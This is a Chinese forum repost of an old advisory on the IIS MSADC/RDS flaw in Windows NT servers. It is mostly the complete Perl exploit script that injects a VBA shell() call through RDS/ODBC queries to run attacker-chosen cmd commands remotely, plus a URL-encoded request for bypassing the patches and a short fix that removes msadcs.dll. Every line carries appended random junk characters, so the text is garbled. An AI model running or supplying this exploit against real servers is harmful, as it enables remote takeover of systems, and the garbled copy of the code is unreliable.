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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) B^Mtj5Oc  
$uB(@Ft.  
涉及程序:  CyDf[C)=  
Microsoft NT server lfeWtzOf  
4EbiCSo  
描述: ^Es)?>eah  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 :I(gz~u6  
)nxIxr0d-  
详细: kzpbs?<;  
如果你没有时间读详细内容的话,就删除: ts!aKx  
c:\Program Files\Common Files\System\Msadc\msadcs.dll <qY>d,+E'  
有关的安全问题就没有了。 EXzNehO~e  
[IA==B7  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 :FpBz~!a  
L([>yQZ  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 =,G(1#  
关于利用ODBC远程漏洞的描述,请参看: ;-^9j)31+F  
qk1D#1vl  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 6mpUk.M"  
# h|< >  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 \9zC?Cw  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp yP]W\W'  
R3`W#`  
这里不再论述。 {;M/J  
iPpJ`i#@+  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: t3JPxg]0k'  
m48Y1'4  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset Vn;] ''_  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! *tPY  
() ;7+  
q#-H+7 5  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ~0Q72  
Gn4b\y%%  
#!perl $_5v^QL  
# 4aKy]zPoE  
# MSADC/RDS 'usage' (aka exploit) script j/|qge4  
# X&X')hzIt  
# by rain.forest.puppy ' qS!n  
# ~kT{O!x}4  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me d's`~HOU2  
# beta test and find errors! *3Z#r  
tTp`e0L*m  
use Socket; use Getopt::Std; XhV"<&v  
getopts("e:vd:h:XR", \%args); ofCP>Z-  
N6%q%7F.:  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 4 jro4B`  
)E2Lf ]  
if (!defined $args{h} && !defined $args{R}) { &r!>2$B\  
print qq~ /*HSAjv  
Usage: msadc.pl -h <host> { -d <delay> -X -v } H9!*DA<W  
-h <host> = host you want to scan (ip or domain) boovCW  
-d <seconds> = delay between calls, default 1 second S @($c'  
-X = dump Index Server path table, if available yo6IY  
-v = verbose ?=rh=#  
-e = external dictionary file for step 5 Av]N.HB$  
7z&u92dJI  
Or a -R will resume a command session imQNfNm  
2Jv4l$$;*  
~; exit;} SX;IUvVE5  
1bs95Fh9Q  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; iO`f{?b  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} Lr&BZM  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} }C#d;JC  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); k"zHrn"$  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 5L#M7E  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } x#j_}L!V;  
O v6=|]cW  
if (!defined $args{R}){ $ret = &has_msadc; Big-)7?  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} M!'tD!NWc  
pl&GFf o  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" kk#d-! $[  
. "cmd /c "; ,1L^#?Q~  
$in=<STDIN>; chomp $in; ;\.&FMi  
$command="cmd /c " . $in ; TA7w:<  
!/j|\_O  
if (defined $args{R}) {&load; exit;} -E"o)1Pj6C  
oGJI3Oh  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 6fyW6xv[,  
&try_btcustmr; ?GZs5CnS  
HjD= .Q  
print "\nStep 2: Trying to make our own DSN..."; &LYZQ?|  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; + P.Ir  
uESHTX/[  
print "\nStep 3: Trying known DSNs..."; n1h+`nsf  
&known_dsn; |lY8u~%  
-tZb\4kh  
print "\nStep 4: Trying known .mdbs..."; K)ib{V(50  
&known_mdb; #*@Yil=1  
'"a8<7  
if (defined $args{e}){  tvILLR  
print "\nStep 5: Trying dictionary of DSN names..."; a8TE  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 0nAS4Az  
`mVH94{+I  
print "Sorry Charley...maybe next time?\n"; [$X(i|6  
exit; NunT2JP.  
u c8>B&B%  
############################################################################## HtlXbzN%)  
lom4z\6  
sub sendraw { # ripped and modded from whisker akoILX~u  
sleep($delay); # it's a DoS on the server! At least on mine... 59u7q(  
my ($pstr)=@_; c\opPhJ! 0  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || d1N&J`R\1  
die("Socket problems\n"); 1>1!oml1E  
if(connect(S,pack "SnA4x8",2,80,$target)){ $2 0*&4y^  
select(S); $|=1; o? =u#=  
print $pstr; my @in=<S>; SZEr  
select(STDOUT); close(S); de[_T%A  
return @in; #=rI[KI  
} else { die("Can't connect...\n"); }} $ a7^3  
FS[CUoA  
############################################################################## kJ >B)  
Y&?]t  
sub make_header { # make the HTTP request xi0&"?7la  
my $msadc=<<EOT z`CI gSR  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 zi'?FM[f)  
User-Agent: ACTIVEDATA xhv)rhu@  
Host: $ip ~mU#u\r(*  
Content-Length: $clen ]up:pddIh  
Connection: Keep-Alive }Na*jr0y9{  
qSR %#  
ADCClientVersion:01.06 yL1\V7GI{[  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 O;r8l+  
5k@ k  
--!ADM!ROX!YOUR!WORLD! F7d f  
Content-Type: application/x-varg 0@KBQv"v  
Content-Length: $reqlen .KV?;{~q@  
k<y$[xV  
EOT @<+(40`*  
; $msadc=~s/\n/\r\n/g; 'tc$#f^:  
return $msadc;} $xqphhBg  
aj:+"X-;  
############################################################################## P`0aU3pl  
=y ff.3mW\  
sub make_req { # make the RDS request 4CqZvd C  
my ($switch, $p1, $p2)=@_; <K~#@.^`  
my $req=""; my $t1, $t2, $query, $dsn; |<S9nZg%p  
(fl2?d5+C  
if ($switch==1){ # this is the btcustmr.mdb query p n)5neX{  
$query="Select * from Customers where City=" . make_shell(); Sc(2c.HO*  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . u:k#1Nn!  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 59LIK&w  
&'Ch[Wo]H  
elsif ($switch==2){ # this is general make table query XyhdsH5%3!  
$query="create table AZZ (B int, C varchar(10))"; ~lMsD~$sO  
$dsn="$p1";} rYT3oqpfT  
{=kA8U  
elsif ($switch==3){ # this is general exploit table query ITTC}  
$query="select * from AZZ where C=" . make_shell(); v^pE= f*/  
$dsn="$p1";} L/shF}<  
+] uY  
elsif ($switch==4){ # attempt to hork file info from index server a)xN(xp##  
$query="select path from scope()"; _-^@Jx[  
$dsn="Provider=MSIDXS;";} {.sF&(e   
zOcMc{w0   
elsif ($switch==5){ # bad query h`)r :a7  
$query="select"; 7dLPy[8";t  
$dsn="$p1";} NWf!c-':  
p?%G|Q  
$t1= make_unicode($query); dM)fr  
$t2= make_unicode($dsn); G$q=WM!%#s  
$req = "\x02\x00\x03\x00"; H7WKnn@  
$req.= "\x08\x00" . pack ("S1", length($t1)); t+pI<c^]y  
$req.= "\x00\x00" . $t1 ; ~ohW9Z1  
$req.= "\x08\x00" . pack ("S1", length($t2)); h0!j;fn  
$req.= "\x00\x00" . $t2 ; q\ ?6-?Mr  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; GXwV>)!x  
return $req;} <I} k%q'  
mu*wX'.'  
############################################################################## jjs-[g'}  
5(,WN  
sub make_shell { # this makes the shell() statement sUA)I%Q!  
return "'|shell(\"$command\")|'";} om(#P5cSM;  
 ,}bC  
############################################################################## .DT1Jvl  
p B )nQ5l'  
sub make_unicode { # quick little function to convert to unicode 6(wpf^br2  
my ($in)=@_; my $out; 1iz\8R:0  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } sI`Lsd'V  
return $out;} ^<< Wqmx  
^LZU><{';  
############################################################################## " jy'Dpy0m  
atY m.qb  
sub rdo_success { # checks for RDO return success (this is kludge) +* &!u=%G  
my (@in) = @_; my $base=content_start(@in); Ly3^zF W  
if($in[$base]=~/multipart\/mixed/){ |*!I(wm2i  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} >kd2GZe^_J  
return 0;} FG'1;x!  
Ek84yme#  
############################################################################## W}KtB1J  
.n"aQ@!  
sub make_dsn { # this makes a DSN for us gB?#T  
my @drives=("c","d","e","f"); G.9?ApG9  
print "\nMaking DSN: "; @]~\H-8  
foreach $drive (@drives) { "# JRw  
print "$drive: "; Pocm.  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . DBOz<|  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" .@R{T3 =Q  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); h:l\kr|9  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 2;A].5>l  
return 0 if $2 eq "404"; # not found/doesn't exist ,]>Eg6B,u  
if($2 eq "200") { ]NN9FM.2b/  
foreach $line (@results) { gXG1w>  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}  IF uz'  
} return 0;} Z$T1nm%lo:  
FFPO?y$  
############################################################################## RTSg=    
G<$UcXg  
sub verify_exists { I#m5Tl|#  
my ($page)=@_; .HMO7n6)8l  
my @results=sendraw("GET $page HTTP/1.0\n\n"); :H6Ipa  
return $results[0];} <V9L AWeS  
9Y~A2C  
############################################################################## <s  $~h  
*V>Iv/(  
sub try_btcustmr { U<*ZY`B3  
my @drives=("c","d","e","f"); ;/$zBr`'  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Cdc6<8  
1}9@aKM  
foreach $dir (@dirs) { D guAeK  
print "$dir -> "; # fun status so you can see progress S=2-<R  
foreach $drive (@drives) { fk9FR^u  
print "$drive: "; # ditto 9"oc.ue.2D  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; >lRX+?  
$reqlenlen=length( "$reqlen" ); Q4C28-#  
$clen= 206 + $reqlenlen + $reqlen; u3Ua>A-  
 &+u$96  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); x# 0(CcKK  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} (`xhh  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ?> }bg  
2\W[ ItxL0  
############################################################################## ]V?\Qv/.=  
5|";L&`  
sub odbc_error { nRJcYl~ Y  
my (@in)=@_; my $base; eQNo'cz  
my $base = content_start(@in); rm<(6zY  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this e!Y:UB2 7u  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; o`7Bvh2  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Zn|vT&:Hg  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; <T{PuS1<o  
return $in[$base+4].$in[$base+5].$in[$base+6];} q B5cF_  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 7$k[cL1  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ,i e84o  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} {!@Pho)Q  
\2@OS6LUe  
############################################################################## IZoa7S&t  
YeK PoW  
sub verbose { nxw]B"Eg  
my ($in)=@_; `A])4q$  
return if !$verbose; j!xt&t4D  
print STDOUT "\n$in\n";} 1 f).J  
/X {:~*.z  
############################################################################## 6MqJy6  
C|8.$s<  
sub save { J[ du>1D  
my ($p1, $p2, $p3, $p4)=@_; s9?klJg  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; H"6Sj-<=  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; w-pdpbHV  
close OUT;} y7txIe!<5  
 Q47Rriw  
############################################################################## + v{<<  
@;!s"!~sv  
sub load { "JT R5;`w  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; g`k_o<'JC  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 43^%f-J 5  
@p=<IN>; close(IN); eJIBkFW/3y  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); +h.$ <=  
$target= inet_aton($ip) || die("inet_aton problems"); XOAZ  
print "Resuming to $ip ..."; ]^uO3!+  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; dnSjXyjFB  
if($p[1]==1) { 17 Hdj  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; O|}97a^  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 8xW_N"P.>  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); Tl6%z9rY@  
if (rdo_success(@results)){print "Success!\n";} FhVi|V a  
else { print "failed\n"; verbose(odbc_error(@results));}} "hdc B 0  
elsif ($p[1]==3){ e/'d0Gb-  
if(run_query("$p[3]")){ 3V>2N)3`A  
print "Success!\n";} else { print "failed\n"; }} 1-!u=]JDE  
elsif ($p[1]==4){ aOFF"(]Cl  
if(run_query($drvst . "$p[3]")){ LxC*{t/>8  
print "Success!\n"; } else { print "failed\n"; }} E`}KVi57  
exit;} # XE`8$  
/:iO:g1  
############################################################################## QK)"-y}"g  
ZaBGkDX5  
sub create_table { c$ya{]a  
my ($in)=@_; ov.7FZ+  
$reqlen=length( make_req(2,$in,"") ) - 28; 6&5p3G{%0  
$reqlenlen=length( "$reqlen" ); }J$Q  
$clen= 206 + $reqlenlen + $reqlen; x'tYf^Va28  
my @results=sendraw(make_header() . make_req(2,$in,"")); D7T(B=S6  
return 1 if rdo_success(@results); bX23F?  
my $temp= odbc_error(@results); verbose($temp); \#Ez["mD  
return 1 if $temp=~/Table 'AZZ' already exists/; t:X\`.W  
return 0;} ]{;=<t6  
?{ns1nW:  
############################################################################## dOh`F~ Y)e  
EW7heIT$  
sub known_dsn { tQ=M=BPZ  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ;"l>HL:^  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", t&MJSFkiA  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", jr29+>  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); /"Ws3.p  
#Y6'Q8g f  
foreach $dSn (@dsns) { #0V$KC*>  
print "."; cPZD#";f  
next if (!is_access("DSN=$dSn")); Rrm k\7/  
if(create_table("DSN=$dSn")){ $)t ]av  
print "$dSn successful\n"; u^&2T(xG i  
if(run_query("DSN=$dSn")){ P]hS0,sE<(  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { h)2W}p{a4=  
print "Something's borked. Use verbose next time\n";}}} print "\n";} Q{F*%X  
q'{LTg0kk  
############################################################################## 2A'!kd$2  
U`Bw2Vdk]S  
sub is_access { Uv?s<  
my ($in)=@_; +dIDFSd  
$reqlen=length( make_req(5,$in,"") ) - 28; ('BFy>@  
$reqlenlen=length( "$reqlen" ); OLp;eb1g  
$clen= 206 + $reqlenlen + $reqlen; J-yj&2  
my @results=sendraw(make_header() . make_req(5,$in,"")); aUUr&yf_L  
my $temp= odbc_error(@results); ;dgxeP;mp  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); # Un>g4>Rh  
return 0;} g(){wCI  
|d =1|C%,  
############################################################################## / V}>v  
*Y(v!x \L  
sub run_query { uH 1%diL^  
my ($in)=@_; f Glvx~  
$reqlen=length( make_req(3,$in,"") ) - 28;  JsAl;w  
$reqlenlen=length( "$reqlen" ); 1ga.%M*  
$clen= 206 + $reqlenlen + $reqlen; c]3% wL  
my @results=sendraw(make_header() . make_req(3,$in,"")); Y?G\@ 6  
return 1 if rdo_success(@results); $J}d6%   
my $temp= odbc_error(@results); verbose($temp); @y?<Kv}s  
return 0;}  &0! f_  
4Rj;lAlwB  
############################################################################## ,5`pe%W7  
KKpO<TO  
sub known_mdb { @=4K%SCw  
my @drives=("c","d","e","f","g"); Q[?O+  
my @dirs=("winnt","winnt35","winnt351","win","windows"); \l)<NZ\  
my $dir, $drive, $mdb; ODa+s>a`^  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; [^sv.  
X-,scm  
# this is sparse, because I don't know of many 3{OY&   
my @sysmdbs=( "\\catroot\\icatalog.mdb", H 6 i4>U*  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", it V@U  
"\\system32\\certmdb.mdb", jzCSxuZ7O  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 2 |lm'Hf  
U,Py+c6  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ;o* n*N  
"\\cfusion\\cfapps\\forums\\forums_.mdb", GPP{"6q5'  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", w;@DcX$]  
"\\cfusion\\cfapps\\security\\realm_.mdb", pd2Lc $O@  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", HRP4"#9R  
"\\cfusion\\database\\cfexamples.mdb", ]r++YIg!j  
"\\cfusion\\database\\cfsnippets.mdb", )Lt|]|1B{  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",  "";[U  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", S ykblP37  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 6;"^Id  
"\\cfusion\\database\\smpolicy.mdb", ;\~{79c  
"\\cfusion\\database\cypress.mdb", TTB1}j+V6  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", a|aRUxa0"  
"\\website\\cgi-win\\dbsample.mdb", H{}0- 0o  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", f`Km ctI  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" f44b=,Lry5  
); #these are just iEd%8 F h  
foreach $drive (@drives) { Y JzKE7%CO  
foreach $dir (@dirs){ M-> /vi  
foreach $mdb (@sysmdbs) { ={_.}   
print "."; ND);7  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ Np$peT[  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ':al4m"  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ kT|{5Kn&s  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; x0aPY;,N0  
} else { print "Something's borked. Use verbose next time\n"; }}}}} MLD-uI10{  
8z,i/:  
foreach $drive (@drives) { :5 XNV6^|  
foreach $mdb (@mdbs) { v4_p3&aj  
print "."; NR3]MGBKv  
if(create_table($drv . $drive . $dir . $mdb)){ %N}O Mc.W  
print "\n" . $drive . $dir . $mdb . " successful\n"; yVds2J'w-  
if(run_query($drv . $drive . $dir . $mdb)){ QUa_gYp0v  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 7kDX_,i  
} else { print "Something's borked. Use verbose next time\n"; }}}} Ph[P$: 9  
} :0K[fBa  
m|mY_t  
############################################################################## V/%tFd1  
YbS$D  
sub hork_idx { r0 %WGMk2  
print "\nAttempting to dump Index Server tables...\n"; A4!IbJD,0  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Vq[L4  
$reqlen=length( make_req(4,"","") ) - 28; GJlkEWs  
$reqlenlen=length( "$reqlen" ); %4X#|22n  
$clen= 206 + $reqlenlen + $reqlen; < H1+qN=]`  
my @results=sendraw2(make_header() . make_req(4,"","")); jET$wKw%  
if (rdo_success(@results)){ N 6CWEIJ  
my $max=@results; my $c; my %d; 4 yLC  
for($c=19; $c<$max; $c++){ Yr9>ATR  
$results[$c]=~s/\x00//g; Twscc"mK  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; FFE IsB"9  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; fAx7_}k/ m  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; "&jWC  
$d{"$1$2"}="";} ;qM I3wF  
foreach $c (keys %d){ print "$c\n"; } CE :x;!}cd  
} else {print "Index server doesn't seem to be installed.\n"; }}  Co e q<  
9Z! j  
############################################################################## a%3V< "f  
$@ /K/"  
sub dsn_dict { b-sbRR  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); n<Vq@=9AE  
while(<IN>){ |Ld/{&Qr  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; vfb~S~|U6g  
next if (!is_access("DSN=$dSn")); B(}u:[ b^S  
if(create_table("DSN=$dSn")){ i1ph{;C  
print "$dSn successful\n"; n,KOQI;  
if(run_query("DSN=$dSn")){ bj6-0`  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Ie3 F  
print "Something's borked. Use verbose next time\n";}}} Z<7FF}i  
print "\n"; close(IN);} j@OGl&'^-  
\5g7_3,3W  
############################################################################## %;5AF8#c  
OyTEd5\3  
sub sendraw2 { # ripped and modded from whisker *.g0;\HF  
sleep($delay); # it's a DoS on the server! At least on mine... UclQo~ 3  
my ($pstr)=@_; y\}39Z(]  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || UzLe#3MU  
die("Socket problems\n"); hAHZN^x&  
if(connect(S,pack "SnA4x8",2,80,$target)){ X^L)5n+$X  
print "Connected. Getting data"; z$'_ =9yZ  
open(OUT,">raw.out"); my @in; ZY%]F,Y  
select(S); $|=1; print $pstr; ,,*i!%Adw  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 4]\ f}  
close(OUT); select(STDOUT); close(S); return @in; B~p` 3rC  
} else { die("Can't connect...\n"); }} "2cJ'n/L  
d'1 L#`?  
############################################################################## uFd.2,XNP  
5)=XzO0  
sub content_start { # this will take in the server headers Z4eu'.r-y~  
my (@in)=@_; my $c; [/.5{|&GSt  
for ($c=1;$c<500;$c++) { iUcDj:  
if($in[$c] =~/^\x0d\x0a/){ oBVYgv)  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } SoS GQ&k  
else { return $c+1; }}} P%Fkd3e+  
return -1;} # it should never get here actually o)NQE?  
V?{[IMRC  
############################################################################## -49z.(@ki  
d1=kHU4_9  
sub funky { !1MSuvWP  
my (@in)=@_; my $error=odbc_error(@in); ]?<j]u0J  
if($error=~/ADO could not find the specified provider/){ .A;D-"!  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Z,'#=K  
exit;} 8"2 Y$*)(  
if($error=~/A Handler is required/){ 6#NptXB  
print "\nServer has custom handler filters (they most likely are patched)\n"; b >R/=tx  
exit;} !L3M\Q0  
if($error=~/specified Handler has denied Access/){ cE7xNZ;Bh  
print "\nServer has custom handler filters (they most likely are patched)\n"; FB<#N+L\  
exit;}} 'B;aXy/JC  
>BC?% |l  
############################################################################## oH/6  
j(j o8  
sub has_msadc { + V:P-D  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 5l"EQ9  
my $base=content_start(@results); sP1wO4M?{  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); n-q  
return 0;} ?y( D_NtL  
E\U6n""]  
######################## RfP>V/jy5  
} $:uN  
OLAw Rha  
解决方案: 2t h\%  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll n[zP}YRr  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 klC;fm2C  
b-}nv`9C  
拿出来充数 哈哈
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